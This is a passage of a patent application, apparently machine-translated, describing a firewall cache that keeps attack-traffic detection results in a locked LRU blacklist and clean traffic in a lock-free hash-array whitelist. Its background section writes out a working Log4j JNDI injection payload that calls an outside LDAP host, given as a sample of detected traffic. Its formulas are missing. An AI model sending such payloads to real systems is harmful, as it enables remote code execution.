Cache data management method and device, computer device, readable storage medium and program product

Abstract

The application relates to a cache data management method and device, computer equipment, a computer readable storage medium and a computer program product. The method comprises the following steps: obtaining target traffic data, and searching for a detection result corresponding to the target traffic data from a first cache area, the first cache area being used for caching cache items of attack traffic samples in an LRU cache mode, the cache items comprising keys of the attack traffic samples and regular detection results corresponding to each regular expression; in the case that the detection result corresponding to the target traffic data is not found in the first cache area, searching for the detection result corresponding to the target traffic data from a second cache area, the second cache area being used for caching type identifiers of non-attack traffic samples in an array mode, the type identifiers being used for identifying that the regular detection results of the non-attack traffic samples with respect to each regular expression are all misses. The method can improve query efficiency, reduce lock overhead and improve thread safety.

Description

TECHNICAL FIELD

[0001] The present application relates to the technical field of network security, and in particular to a cache data management method and device, computer equipment, computer readable storage medium and computer program product. BACKGROUND

[0002] In a Web Application Firewall, it is a very common way to use rules to detect whether HTTP (Hypertext Transfer Protocol) traffic is attack traffic. However, the rule matching process usually needs to match each regular expression corresponding to each rule one by one, which is usually very time-consuming. For example, for Payload1 (${jndi:ldap: / / caffinatedsheep.com / j}), the detection result obtained by using the regular expression for detecting PHP (Hypertext Preprocessor) is False (miss), and the detection result is True (hit) only by using the regular expression for detecting Log4j.

[0003] In order to reduce the time consumed by each regular matching, the related technology often uses LRU (Least Recently Used) cache mechanism to cache the detection result of each traffic corresponding regular expression. In the query process, in order to improve the query efficiency, a multi-threaded way is usually used to query the cache data. In the multi-threaded query process, how to ensure thread safety is the focus of the industry. SUMMARY

[0004] Therefore, it is necessary to provide a cache data management method and device, computer equipment, computer readable storage medium and computer program product capable of improving thread safety in the multi-threaded query process.

[0005] In a first aspect, the present application provides a cache data management method, which comprises:

[0006] Obtaining target traffic data, and finding the detection result corresponding to the target traffic data from a first cache area, wherein the first cache area is used to cache cache items of attack traffic samples in an LRU cache manner, and each cache item comprises a key of the attack traffic sample and a regular detection result corresponding to each regular expression;

[0007] In a case where the target traffic data corresponding detection result is not found in the first cache area, the target traffic data corresponding detection result is found from a second cache area, the second cache area is used to cache type identifiers of non-attack traffic samples in an array manner, and the type identifier is used to identify that regular detection results of the non-attack traffic samples for each regular expression are all misses.

[0008] In one of the embodiments, the finding of the target traffic data corresponding detection result from the first cache area comprises:

[0009] The first hash value corresponding to the target traffic data is calculated, and a target bucket is determined based on the first hash value corresponding to the target traffic data.

[0010] The bidirectional linked list in the target bucket is traversed according to the key of the target traffic data, the cache item corresponding to the target traffic data is obtained, and the regular detection results of the target traffic data for each regular expression are obtained from the cache item.

[0011] In one of the embodiments, the regular detection result corresponding to the regular expression in the cache item comprises a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression is initialized, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

[0012] In one of the embodiments, the method further comprises:

[0013] If the target traffic data corresponding cache item is found from the first cache area, and the cache item comprises the regular detection result corresponding to the target regular expression, the first identification bit of the regular detection result is a first identification, and the first identification indicates that the regular detection result is not initialized, the target regular expression is executed for the target traffic data to obtain a target regular detection result.

[0014] The first identification bit of the regular detection result corresponding to the target regular expression is updated to a second identification for the target traffic data corresponding cache item, the second identification is used to indicate that the regular detection result is initialized, and the second identification bit of the regular detection result corresponding to the target regular expression is updated according to the target regular detection result.

[0015] In one of the embodiments, the finding of the target traffic data corresponding detection result from the second cache area comprises:

[0016] The second hash value of the target traffic data is calculated.

[0017] If the type identifier of the array element corresponding to the second hash value is found from the array is a third identifier, it is determined that the detection result corresponding to the target traffic data is found.

[0018] In one of the embodiments, the method further comprises:

[0019] If the type identifier of the array element corresponding to the second hash value is found from the array is a fourth identifier, each regular expression is executed in sequence for the target traffic data, and the cache item corresponding to the target traffic data is stored in the first cache area according to the regular detection result corresponding to each regular expression.

[0020] In one of the embodiments, the method further comprises:

[0021] In the first cache area, if the first identifier bit of the regular detection result corresponding to each regular expression in the cache item corresponding to the target traffic data indicates that the regular detection result has completed initialization, and the second identifier bit indicates that the regular expression is not hit, the array is updated according to the target traffic data, and the cache item corresponding to the target traffic data is deleted from the first cache area.

[0022] In a second aspect, the application further provides a cache data management device, which comprises:

[0023] A first finding module is configured to obtain target traffic data and find the detection result corresponding to the target traffic data from a first cache area, the first cache area is configured to cache the cache item of the attack traffic sample in an LRU cache mode, and the cache item comprises the key of the attack traffic sample and the regular detection result corresponding to each regular expression.

[0024] A second finding module is configured to find the detection result corresponding to the target traffic data from a second cache area if the detection result corresponding to the target traffic data is not found in the first cache area, the second cache area is configured to cache the type identifier of the non-attack traffic sample in an array mode, and the type identifier is configured to identify that the regular detection result of the non-attack traffic sample for each regular expression is not hit.

[0025] In one of the embodiments, the first finding module is specifically configured to:

[0026] The first hash value corresponding to the target traffic data is calculated, and a target bucket is determined based on the first hash value corresponding to the target traffic data.

[0027] According to the key of the target flow data, the double-direction linked list in the target bucket is traversed, the cache item corresponding to the target flow data is obtained, and the regular detection result of the target flow data for each regular expression is obtained from the cache item.

[0028] In one of the embodiments, the regular detection result corresponding to the regular expression in the cache item comprises a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression is initialized, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

[0029] In one of the embodiments, the apparatus further comprises:

[0030] The detection module is configured to, if the cache item corresponding to the target flow data is found from the first cache area, and the cache item comprises the regular detection result corresponding to the target regular expression, and the first identification bit of the regular detection result is a first identification, the first identification indicates that the regular detection result is not initialized, then the target regular expression is executed for the target flow data to obtain a target regular detection result.

[0031] The first updating module is configured to, for the cache item corresponding to the target flow data, update the first identification bit of the regular detection result corresponding to the target regular expression to a second identification, the second identification is used to indicate that the regular detection result is initialized, and update the second identification bit of the regular detection result corresponding to the target regular expression according to the target regular detection result.

[0032] In one of the embodiments, the second finding module is specifically configured to:

[0033] The second hash value of the target flow data is calculated.

[0034] If the type identification of the array element corresponding to the second hash value is a third identification, it is determined that the detection result corresponding to the target flow data is found.

[0035] In one of the embodiments, the apparatus further comprises:

[0036] The second updating module is configured to, if the type identification of the array element corresponding to the second hash value is a fourth identification, sequentially execute each regular expression for the target flow data, and store the cache item corresponding to the target flow data in the first cache area according to the regular detection result corresponding to each regular expression.

[0037] In one of the embodiments, the apparatus further comprises:

[0038] The third updating module is configured to, in the first cache area, if the first identification bits of the regular detection results corresponding to each of the regular expressions in the cache item corresponding to the target traffic data all indicate that the regular detection results have been initialized, and the second identification bits all indicate that the regular expressions are not hit, update the array according to the target traffic data, and delete the cache item corresponding to the target traffic data from the first cache area.

[0039] In a third aspect, the present application also provides a computer device, comprising a memory and a processor, wherein the memory stores a computer program, and the processor implements the cache data management method of any one of the above aspects when executing the computer program.

[0040] In a fourth aspect, the present application also provides a computer readable storage medium, which stores a computer program, and the computer program is executed by a processor to implement the cache data management method of any one of the above aspects.

[0041] In a fifth aspect, the present application also provides a computer program product, comprising a computer program, and the computer program is executed by a processor to implement the cache data management method of any one of the above aspects.

[0042] The cache data management method, device, computer device, computer readable storage medium and computer program product can find the detection result corresponding to the target traffic data from the first cache area, the first cache area is used to cache the cache item of the attack traffic sample in the LRU cache mode, the cache item includes the key of the attack traffic sample and the regular detection result corresponding to each regular expression, and in the case that the detection result corresponding to the target traffic data is not found from the first cache area, the detection result corresponding to the target traffic data is found from the second cache area, the second cache area is used to cache the type identifier of the non-attack traffic sample in the array mode, and the type identifier is used to identify that the regular detection result of the non-attack traffic sample corresponding to each regular expression is not hit. The cache data management method, device, computer device, computer readable storage medium and computer program product provided by the present application manage the detection results of the non-attack traffic and the attack traffic in the white list (second cache area) and the black list (first cache area) respectively, including storing the detection result of the non-attack traffic in the array mode, and caching the detection result of the attack traffic by using the cache management mechanism of the LRU. In this way, the white list is not locked, and only the black list is locked, and thus the problem of too heavy locking in the multi-thread environment can be solved, so as to improve the efficiency of querying the detection result and improve the thread safety. BRIEF DESCRIPTION OF DRAWINGS

[0043] In order to more clearly illustrate the technical solutions in the embodiments of the present application or the related art, the accompanying drawings needed to be used in the description of the embodiments of the present application or the related art will be briefly introduced. Obviously, the accompanying drawings in the following description only represent some embodiments of the present application, and for those skilled in the art, other related drawings can be obtained based on these drawings without any creative effort.

[0044] Figure 1 Flowchart of the cache data management method in one embodiment;

[0045] Figure 2 Schematic diagram of the LRU cache data structure in the blacklist in one embodiment;

[0046] Figure 3 Schematic diagram of the array structure in the whitelist in one embodiment;

[0047] Figure 4 Flowchart of step 102 in one embodiment;

[0048] Figure 5 Flowchart of the cache item updating step in one embodiment;

[0049] Figure 6 Flowchart of step 104 in one embodiment;

[0050] Figure 7 Schematic diagram of the cache data management method in one embodiment;

[0051] Figure 8 Structural block diagram of the cache data management apparatus in one embodiment;

[0052] Figure 9 Internal structural diagram of the computer device in one embodiment. DETAILED DESCRIPTION

[0053] In order to make the purposes, technical solutions and advantages of the present application clearer, the present application will be further described in detail below with reference to the accompanying drawings and embodiments. It should be understood that the specific embodiments described herein are only used to explain the present application, and are not used to limit the present application.

[0054] LRU is a cache replacement policy used to manage data in the cache. When the cache reaches its maximum capacity, the LRU policy removes the least recently used data to make room for new data. In the WAF (Web Application Firewall) detection scenario, the corresponding data cache method of LRU is as follows: the Hash value of each traffic is calculated, and then the index of the Bucket barrel is calculated according to the Hash value to determine the Key of the traffic. After that, the Key of the traffic and the detection result of each regular expression are taken as a cache item and stored in the doubly linked list under the barrel. In this way, the detection result of the regular expression can be queried through the Key of the traffic.

[0055] In the multi-threaded query process, the related art often uses locking, atomic variables, message queues, thread-local storage (TLS), and other mechanisms to ensure thread safety. However, the above methods still have the following shortcomings:

[0056] 1) Locking mechanism is a common and easy-to-think multi-threaded synchronization method that can effectively prevent data competition and ensure data consistency. However, pure locking may lead to performance degradation because threads may be blocked due to waiting for locks, resulting in context switching overhead. In addition, there are potential problems such as deadlocks and priority inversion. Although atomic variables are a lighter way, the LRU cache data structure saved in the WAF scenario is complex, and pure atomic variables may have thread safety problems.

[0057] For example, for WAF, querying the cache data corresponding to the regular expression detection result is a very frequent operation, which is much larger than storing the detection result into the cache. If only a simple locking operation is used, when there are a large number of query threads querying the same Bucket barrel, the write thread must wait for all other query operations to end before writing the cache. In this way, the update efficiency of the cache data is not as expected.

[0058] And just use atomic variables, such as adding a flag bit to each Bucket bucket, when there is an update thread to update, the bucket flag is set to 1, indicating that there is a thread updating. But this is not thread-safe. For example: there is a query thread to query when checking the flag bit of the Bucket bucket, and it is found that the flag bit is 0, that is, the current can be queried. Then in the query process of the query thread, a thread wants to update the cache item, and sets the flag bit to 1. If the cache item to be queried and the item to be deleted are the same, and the query thread gets the item, the update thread has quietly released the cache item, and the query thread actually gets a suspended pointer. When this pointer is used, a Coredump (thread crash) will occur.

[0059] 2) In a multi-threaded environment, the message queue communicates by passing messages rather than sharing memory, avoiding data race and deadlock problems, simplifying synchronization, and enhancing system scalability. However, this mechanism also brings additional performance overhead and implementation complexity, and may introduce delays under high load. For WAF real-time detection scenarios, this asynchronous non-blocking method is not suitable.

[0060] 3) Using thread-local storage variables can ensure that each thread has its own independent memory, avoiding data race and lock mechanism, improving concurrency performance and code simplicity, but each thread has a LRU cache, increasing memory usage and possibly leading to complex resource management.

[0061] In order to solve the above technical problems, the embodiments of the present disclosure provide a cache data management method for WAF detection scenarios, which uses white list and black list to manage non-attack traffic (referred to as white sample in the embodiments of the present disclosure) and attack traffic (referred to as black sample in the embodiments of the present disclosure) respectively, including using array to store the detection results of white sample, and using LRU cache management mechanism to cache the detection results of black sample. In this way, the mechanism of locking only the black list can be realized to solve the problem of too heavy locking in a multi-threaded environment, so as to improve the efficiency of querying the detection results and solve the problem of thread insecurity.

[0062] Payload (payload), is the actual data part transmitted in the data packet, excluding metadata (such as header information, protocol control information, etc.). Payload is the core content of the data packet, which transmits the specific information that the sender wants the receiver to obtain.

[0063] Hash: A technique that maps input data (such as strings, files, etc.) to a fixed-length hash value using a specific algorithm. This value is typically a number used to quickly find the data's position in a hash table. Hash technology is widely used in data storage and retrieval, cryptography, data integrity verification, and other fields, effectively improving data access speed and system performance. By avoiding data collisions (different inputs producing the same hash value), hash technology ensures efficient data management and accurate retrieval.

[0064] A bucket is a storage unit in a hash table used to hold elements with the same hash value. In a hash table, input data is processed by a hash function to calculate a hash value, and then the data is mapped to a specific bucket based on that hash value. If multiple data items have the same hash value, they are stored in the same bucket, forming a linked list or other structure to resolve collisions. The use of buckets allows hash tables to efficiently organize and retrieve data, improving the performance of search, insertion, and deletion operations.

[0065] In one embodiment, such as Figure 1 As shown, a cached data management method is provided. This embodiment illustrates the method applied to a terminal, but it is understood that the method can also be applied to a server, and to a system including both a terminal and a server, and implemented through interaction between the terminal and the server. In this embodiment, the method includes steps 102 and 104, wherein:

[0066] Step 102: Obtain target traffic data and search for the detection result corresponding to the target traffic data in the first cache area. The first cache area is used to cache the cache items of attack traffic samples using the LRU caching method. The cache items include the key of the attack traffic sample and the regular expression detection result corresponding to each regular expression.

[0067] Step 104: If no detection result corresponding to the target traffic data is found in the first cache area, the detection result corresponding to the target traffic data is searched in the second cache area. The second cache area is used to cache the type identifier of non-attack traffic samples in the form of an array. The type identifier is used to indicate that the regular expression detection results of the non-attack traffic samples for each regular expression are all misses.

[0068] In this embodiment, the first cache area is a blacklist used to store the detection results of attack traffic samples (also referred to as black samples in this embodiment). The second cache area is a whitelist used to store the detection results of non-attack traffic (also referred to as white samples in this embodiment). The target traffic data is the HTTP traffic payload.

[0069] The blacklist adopts an LRU cache mode for data caching. For example, an LRU cache data structure is adopted to store the detection result of the attack traffic sample, including calculating the corresponding Bucket barrel according to the hash value of the attack traffic sample, storing the cache item of the attack traffic sample in the bidirectional linked list under the Bucket barrel, and storing the Key (the first N bits or the last N bits of the attack traffic sample, N is set by a person skilled in the art according to the requirement) of the attack traffic sample and the WAF detection result (for clarity, referred to as regular detection result below) of each regular expression in the cache item. The specific data structure body is as shown in Figure 2 .

[0070] The whitelist adopts an array structure to store the detection result of the non-attack traffic sample. The array subscript is obtained according to the hash value of each non-attack traffic sample, and the array element only stores the type identifier for identifying whether it is a white sample. For example, if the stored type identifier is True, it means that it is a white sample (that is, the detection result corresponding to all regular expressions is a miss), and if the stored type identifier is False, it means that the corresponding detection result is not stored in the whitelist. The specific data structure body is as shown in Figure 3 .

[0071] Since in the WAF, most of the traffic in the HTTP traffic is normal white sample, and only a small part is attack traffic, that is, black sample, therefore, the array is adopted to store the detection result of the white sample. Since there is no use of pointer in the array structure, thread safety can be guaranteed in the multi-thread environment, and the LRU cache data structure is adopted for the blacklist, only the Bucket barrel is locked, which can greatly reduce the lock overhead and improve the query efficiency.

[0072] In the embodiment of the present disclosure, after receiving the HTTP traffic, the target traffic data (Payload) can be decoded from the HTTP traffic, and then WAF detection is performed. When matching the regular expression is needed during detection, the blacklist is preferentially queried, that is, the first cache area is preferentially queried. When the cache item corresponding to the target traffic data is not found in the first cache area, the whitelist is continuously queried, that is, the array element corresponding to the target traffic data is searched from the data in the second cache area, and whether the target traffic data is a white sample is determined based on the type identifier corresponding to the array element.

[0073] The cache data management method provided in the embodiment of the present disclosure can manage the detection results of non-attack traffic and attack traffic in a white list (second cache area) and a black list (first cache area) manner, including storing the detection results of non-attack traffic in an array manner, and caching the detection results of attack traffic by using the cache management mechanism of LRU. In this way, the white list can not be locked, and only the black list can be locked, thereby solving the problem of too heavy locking in a multi-thread environment, and improving the efficiency of querying the detection results and thread safety.

[0074] In an exemplary embodiment, referring to Figure 4 As shown in FIG. 4, the step 102 of searching the detection result corresponding to the target traffic data from the first cache area can include the following steps 402 to 404, wherein:

[0075] In step 402, the first hash value corresponding to the target traffic data is calculated, and the target bucket is determined based on the first hash value corresponding to the target traffic data.

[0076] In step 404, the bidirectional linked list in the target bucket is traversed according to the key of the target traffic data, the cache item corresponding to the target traffic data is obtained, and the regular detection result of the target traffic data for each regular expression is obtained from the cache item.

[0077] In the embodiment of the present disclosure, after obtaining the target traffic data, the first hash value corresponding to the target traffic data can be calculated, and the bucket subscript is calculated based on the first hash value, and the target bucket is determined based on the bucket subscript. For example, the first hash value of the target traffic data can be calculated by the following formula (I), and the bucket subscript can be calculated by the formula (II):

[0078] Formula (I)

[0079] Formula (II)

[0080] Wherein, The target traffic data is represented by The first hash value is represented by The bucket subscript is represented by n, and n is a constant. The hash function is represented by h, and the hash function is not specifically limited in the embodiment of the present disclosure, and any hash function is applicable in the embodiment of the present disclosure.

[0081] After obtaining the bucket subscript, the bucket corresponding to the bucket subscript can be taken as the target bucket, and the bidirectional linked list under the target bucket is traversed to search the cache item corresponding to the target traffic data. Since it is a multi-thread environment, the target bucket needs to be read-locked when querying. At this time, even if there is an update thread that wants to add, delete or update the cache item, it also needs to wait until the read lock is released before operation, so that the thread safety can be guaranteed.

[0082] In an exemplary embodiment, the candidate cache item corresponding to the target traffic data can be determined from the double-linked list of the target bucket, the candidate cache item has a key consistent with the length of the key of the target traffic data, and the candidate cache item with the key consistent with the key of the target traffic data is taken as the cache item corresponding to the target traffic data. That is, in the embodiment of the present disclosure, whether the cache item has been stored in the target bucket can be determined by first determining whether the length of the Key of the cache item is consistent with the length of the key of the target traffic data, and if there is a candidate cache item with the length of the key consistent with the length of the key of the target traffic data, then determining whether the Key of the candidate cache item is consistent with the key of the target traffic data, taking the consistent candidate cache item as the cache item corresponding to the target traffic data, and taking the regular detection result corresponding to each regular expression corresponding to the key in the cache item as the detection result of the target traffic data. In this way, the detection efficiency can be effectively improved.

[0083] In an exemplary embodiment, the regular detection result corresponding to the regular expression in the cache item includes a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression is initialized, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

[0084] In the embodiment of the present disclosure, the key in the cache item includes the Value value corresponding to the key, which includes the regular detection result corresponding to each regular expression. The regular detection result corresponding to each regular expression can be represented by two bits, that is, the regular detection result includes a first identification bit and a second identification bit, wherein the first identification bit is used to identify whether the regular detection result corresponding to the regular expression is initialized, for example: when the first identification bit is 0, it means that the regular detection result is not initialized, and when the first identification bit is 1, it means that the regular detection result is initialized. The second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression, for example: when the second identification bit is 0, it means that the regular expression is not hit, and when the second identification bit is 1, it means that the regular expression is hit (i.e. attack traffic).

[0085] For example, assuming that the WAF includes 5 regular expression detections, the Value value corresponding to the key in the cache item includes 10 bits, for example: ((1, 0), (1, 0), (1, 1), (1, 0), (1, 0)), it can be determined that the regular detection results corresponding to the 5 regular expressions have been initialized, and the third regular detection result is hit, and the other regular detection results are not hit, that is, the traffic sample corresponding to the cache item is an attack traffic sample.

[0086] In an exemplary embodiment, with reference to Figure 5As shown, the above method can further include steps 502 to 504, wherein:

[0087] In step 502, if the cache item corresponding to the target traffic data is found from the first cache area, and the cache item includes the regular detection result corresponding to the target regular expression, and the first identification bit of the regular detection result is the first identification indicating that the regular detection result is not initialized, the target regular expression is executed for the target traffic data to obtain the target regular detection result.

[0088] In step 504, the first identification bit of the regular detection result corresponding to the target regular expression is updated to the second identification for the cache item corresponding to the target traffic data, the second identification is used to indicate that the regular detection result is initialized, and the second identification bit of the regular detection result corresponding to the target regular expression is updated according to the target regular detection result.

[0089] In the embodiment of the present disclosure, if the cache item corresponding to the target traffic data is found from the first cache area, and the first identification bit of any regular detection result in the cache item is the first identification indicating that the regular detection result is not initialized, the regular expression corresponding to the regular detection result is the target regular expression, and the target regular expression has not been initialized, the target regular expression can be executed for the target traffic data to obtain the corresponding target regular detection result.

[0090] After obtaining the target regular detection result corresponding to the target regular expression, the regular detection result corresponding to the target regular expression in the cache item corresponding to the target traffic data can be updated according to the target regular detection result, including updating the first identification bit of the regular detection result to the second identification indicating that the regular detection result is initialized, and updating the second identification bit of the regular detection result, for example, in the case that the target regular detection result hits the target regular expression, the second identification bit is updated to the identification information indicating the hit, or in the case that the target regular detection result misses the target regular expression, the second identification bit is set to the identification information indicating the miss.

[0091] For example, if the cache item corresponding to the target traffic data is found in the first cache area, but the first identification bit in the regular detection result of a certain regular expression is the first identification, then the regular expression needs to be executed to update the regular detection result. For example, the value corresponding to the cache item of the target traffic data is ((1, 0), (1, 0), (0, 0), (0, 0), (0, 0)), the first identification bit of the regular detection result corresponding to the third regular expression is 0, then the third regular expression is executed, and then the third regular detection result is updated according to the execution result. After the update, the value corresponding to the cache item is ((1, 0), (1, 0), (1, 1), (0, 0), (0, 0)). Similarly, the fourth regular expression and the fifth regular expression are executed in the same way, and details are not described herein.

[0092] In an exemplary embodiment, referring to FIG. 6, the step 104 of finding the detection result corresponding to the target traffic data from the second cache area can include the following steps 602 to 604. Figure 6

[0093] The step 602 calculates the second hash value of the target traffic data.

[0094] The step 604 determines that the detection result corresponding to the target traffic data is found if the type identification of the array element corresponding to the second hash value is the third identification.

[0095] In the embodiment of the present disclosure, if the cache item corresponding to the target traffic data is not found in the first cache area, the detection result of the target traffic data is found from the second cache area. For example, the second hash value of the target traffic data can be calculated, and then the array index is calculated according to the second hash value, the data element corresponding to the data index is obtained from the array, and if the type identification of the data element is the third identification, for example, true, it can be determined that the target traffic data is a white sample (i.e., a non-attack sample), and the corresponding query result can be fed back. The first hash value and the second hash value can be the same or different, and the embodiment of the present disclosure does not make specific limitations, that is, the same hash function can be used to calculate the first hash value and the second hash value, or different hash functions can be used to calculate the first hash value and the second hash value.

[0096] ​In the embodiments of the present disclosure, in the query process in the second cache area, if a certain attack sample is not detected, but if its hash value collides with that of a white sample, it will be identified as a white sample, resulting in a false negative. Therefore, in the embodiments of the present disclosure, the length of the array can be increased to reduce hash value collisions, thereby reducing false negatives as much as possible, that is, reducing the probability of false negatives.

[0097] In an exemplary embodiment, in order to ensure the freshness of the cache, the embodiments of the present disclosure also set a maximum number of queries for each cache item, and delete the cache item when a certain number of queries is reached. That is, for any cache item, the number of queries corresponding to the cache item can be accumulated, and when the number of queries corresponding to the cache item reaches the corresponding query threshold, the cache item is deleted from the bucket of the first cache area.

[0098] In an exemplary embodiment, the above method can further include:

[0099] If the type identifier of the array element corresponding to the second hash value found from the array is the fourth identifier, the target traffic data is sequentially executed for each regular expression, and the cache item corresponding to the target traffic data is stored in the first cache area according to the regular detection result corresponding to each regular expression.

[0100] In the embodiments of the present disclosure, the type identifier corresponding to each array element in the array is initialized as the fourth identifier, for example, false. If the type identifier of the array element corresponding to the target traffic data found from the array is the fourth identifier, it indicates that the target traffic data has not been executed for matching each regular expression, that is, the detection result corresponding to the target traffic data has not been stored, and therefore each regular expression can be sequentially executed for the target traffic data, and the cache item corresponding to the target traffic data is stored in the first cache area according to the regular detection result corresponding to each regular expression.

[0101] For example, the key corresponding to the target traffic data can be determined, and the cache item corresponding to the target traffic data is created in the first cache area based on the key corresponding to the target traffic data. The regular detection result corresponding to each regular expression in the value of the cache item is set to (0, 0). When any regular expression is executed, the regular detection result corresponding to the regular expression in the cache item can be updated based on the regular detection result corresponding to the regular expression. The updating process is described in the foregoing embodiments, which will not be described here in the embodiments of the present disclosure.

[0102] In an exemplary embodiment, the above method further includes:

[0103] In the first cache region, if the first identification bits of the regular detection results corresponding to each regular expression in the cache item corresponding to the target traffic data all indicate that the regular detection results have been initialized, and the second identification bits all indicate that the regular expressions are not hit, then the array is updated according to the target traffic data, and the cache item corresponding to the target traffic data is deleted from the first cache region.

[0104] In the embodiment of the present disclosure, after updating the cache item corresponding to the target traffic data in the first cache region, if the first identification bits of each regular detection result in the cache item all indicate that the initialization has been completed, and the second identification bits all indicate that the regular expressions are not hit, it can be determined that the target traffic data is a white sample, the cache item corresponding to the target traffic data can be deleted from the first cache region, and the third identification is set in the data element corresponding to the data index of the white sample in the array, that is, the target traffic data is deleted from the blacklist and added to the whitelist.

[0105] In order for those skilled in the art to better understand the embodiments of the present disclosure, the embodiments of the present disclosure are described below through specific examples.

[0106] Referring to Figure 7 After the payload is obtained, it can be queried in the blacklist (the first cache region) whether the cache item corresponding to the payload exists (for details, refer to the foregoing embodiments, which will not be described here in this example). After the cache item corresponding to the payload exists in the blacklist, it can be determined whether the first identification bits of the regular detection results corresponding to each regular expression are initialized, if yes, the corresponding query result is fed back based on the cache item, and the query result indicates that the payload is attack traffic; if not, for the regular expression whose first identification bit is not initialized, the regular expression is executed to obtain the corresponding regular detection result, and the cache item in the blacklist is updated based on the regular detection result. After updating, it is determined whether the second identification bits of the regular detection results corresponding to each regular expression in the cache item all indicate that the regular expressions are not hit, if not, the corresponding query result is fed back based on the current cache item, and the query result indicates that the payload is attack traffic; if yes, the whitelist (the second cache region) is updated based on the payload, and the cache item corresponding to the payload is deleted from the blacklist, and the corresponding query result is fed back based on the type identification of the data element corresponding to the payload in the whitelist, and the query result indicates that the payload is non-attack traffic.

[0107] Alternatively, if the cache item corresponding to the payload is not found in the blacklist, the data element corresponding to the payload is found in the whitelist. When the type corresponding to the data element corresponding to the payload in the whitelist is true, the corresponding query result is fed back, and the query result indicates that the payload is non-attack traffic. Alternatively, when the type corresponding to the data element corresponding to the payload in the whitelist is false, it is determined that the detection result corresponding to the payload is not found, the corresponding regular detection result is obtained by executing each regular expression, the cache item corresponding to the payload is added in the blacklist based on the regular detection result corresponding to each regular expression, and the corresponding query result is fed back.

[0108] By using the cache data management method provided in the embodiments of the present disclosure, by using the whitelist and blacklist mechanism, the whitelist is used to store non-attack payloads, a simple Hash array structure is used, and the whitelist has natural thread safety in a multi-thread environment; the blacklist is used to store attack payloads, an LRU cache data structure is used, and each Bucket bucket is locked to reduce the lock overhead, so that the scene of WAF detection (most are white samples, and a small part is black samples) is fully utilized, and thread safety is ensured; and by designing an efficient cache query and update mechanism, the blacklist is queried first, and the whitelist is queried if the query is not successful, the query efficiency is improved, and the occurrence of false negatives is reduced. For the query of the blacklist, the fine-grained read-write lock mechanism ensures the safety of the query and update operations in the multi-thread environment. To ensure the freshness of the cache, the maximum number of queries is designed for each cache item, and the item is deleted after the number of queries exceeds. In addition, by processing the initialization of the blacklist cache item, the integrity and correctness of the cache data are ensured. The method significantly improves the query efficiency, reduces the lock overhead, enhances the thread safety of the system, reduces false positives and false negatives, and ensures the real-time performance and effectiveness of the cache data, thereby improving the performance and reliability of the Web Application Firewall.

[0109] It should be understood that, although each step in the flowchart involved in each embodiment as described above is shown in sequence according to the direction of the arrow, these steps are not necessarily executed in sequence according to the direction of the arrow. Unless otherwise specified herein, the execution of these steps is not strictly limited in sequence, and these steps can be executed in other sequences. Moreover, at least part of the steps in the flowchart involved in each embodiment as described above can include multiple steps or stages, which are not necessarily executed at the same time, but can be executed at different times, and the execution sequence of these steps or stages is not necessarily sequential, but can be executed in rotation or alternation with at least part of other steps or steps or stages in other steps.

[0110] Based on the same inventive concept, the embodiments of the present application also provide a cache data management apparatus for implementing the cache data management method described above. The apparatus provides a solution to the implementation scheme as described in the above method, and therefore the specific limitations in one or more cache data management apparatus embodiments provided below can refer to the limitations of the cache data management method described above, which will not be repeated here.

[0111] In one exemplary embodiment, as shown in Figure 8 a cache data management apparatus is provided, comprising: a first lookup module 802 and a second lookup module 804, wherein:

[0112] The first lookup module 802 is configured to obtain target traffic data and find a detection result corresponding to the target traffic data from a first cache area, wherein the first cache area is configured to cache cache items of attack traffic samples in an LRU cache manner, and each cache item comprises a key of the attack traffic sample and a regular detection result corresponding to each regular expression.

[0113] The second lookup module 804 is configured to find the detection result corresponding to the target traffic data from a second cache area in a case where the detection result corresponding to the target traffic data is not found in the first cache area, wherein the second cache area is configured to cache type identifiers of non-attack traffic samples in an array manner, and each type identifier is configured to identify that regular detection results of the non-attack traffic samples corresponding to each regular expression are all misses.

[0114] The cache data management apparatus provided by the embodiments of the present application manages the detection results of non-attack traffic and attack traffic in a white list (second cache area) and black list (first cache area) manner, including storing the detection results of non-attack traffic in an array manner, and caching the detection results of attack traffic by using the cache management mechanism of LRU. In this way, the white list can be unlocked, and only the black list can be locked, thereby solving the problem of too heavy locking in a multi-thread environment, improving the efficiency of querying the detection results, and improving the thread safety.

[0115] In one embodiment, the first lookup module 802 is specifically configured to:

[0116] Calculate a first hash value corresponding to the target traffic data, and determine a target bucket based on the first hash value corresponding to the target traffic data.

[0117] Traverse a double-linked list in the target bucket according to the key of the target traffic data, obtain a cache item corresponding to the target traffic data, and obtain regular detection results of the target traffic data corresponding to each regular expression from the cache item.

[0118] In one of the embodiments, the regular expression corresponding to the regular detection result in the cache entry includes a first identification bit and a second identification bit, the first identification bit is used to identify whether the regular detection result corresponding to the regular expression is initialized, and the second identification bit is used to identify whether the regular detection result corresponding to the regular expression hits the regular expression.

[0119] In one of the embodiments, the apparatus further includes:

[0120] The detection module is configured to, if the cache entry corresponding to the target traffic data is found from the first cache area, and the cache entry includes the regular detection result corresponding to the target regular expression, and the first identification bit of the regular detection result is a first identification, perform the target regular expression on the target traffic data to obtain a target regular detection result, the first identification indicating that the regular detection result is not initialized.

[0121] The first updating module is configured to, for the cache entry corresponding to the target traffic data, update the first identification bit of the regular detection result corresponding to the target regular expression to a second identification, the second identification being used to indicate that the regular detection result is initialized, and update the second identification bit of the regular detection result corresponding to the target regular expression according to the target regular detection result.

[0122] In one of the embodiments, the second searching module 804 is specifically configured to:

[0123] Calculate a second hash value of the target traffic data.

[0124] If the type identification of the array element corresponding to the second hash value is a third identification, it is determined that the detection result corresponding to the target traffic data is found.

[0125] In one of the embodiments, the apparatus further includes:

[0126] The second updating module is configured to, if the type identification of the array element corresponding to the second hash value is a fourth identification, sequentially perform each regular expression on the target traffic data, and store the cache entry corresponding to the target traffic data in the first cache area according to the regular detection result corresponding to each regular expression.

[0127] In one of the embodiments, the apparatus further includes:

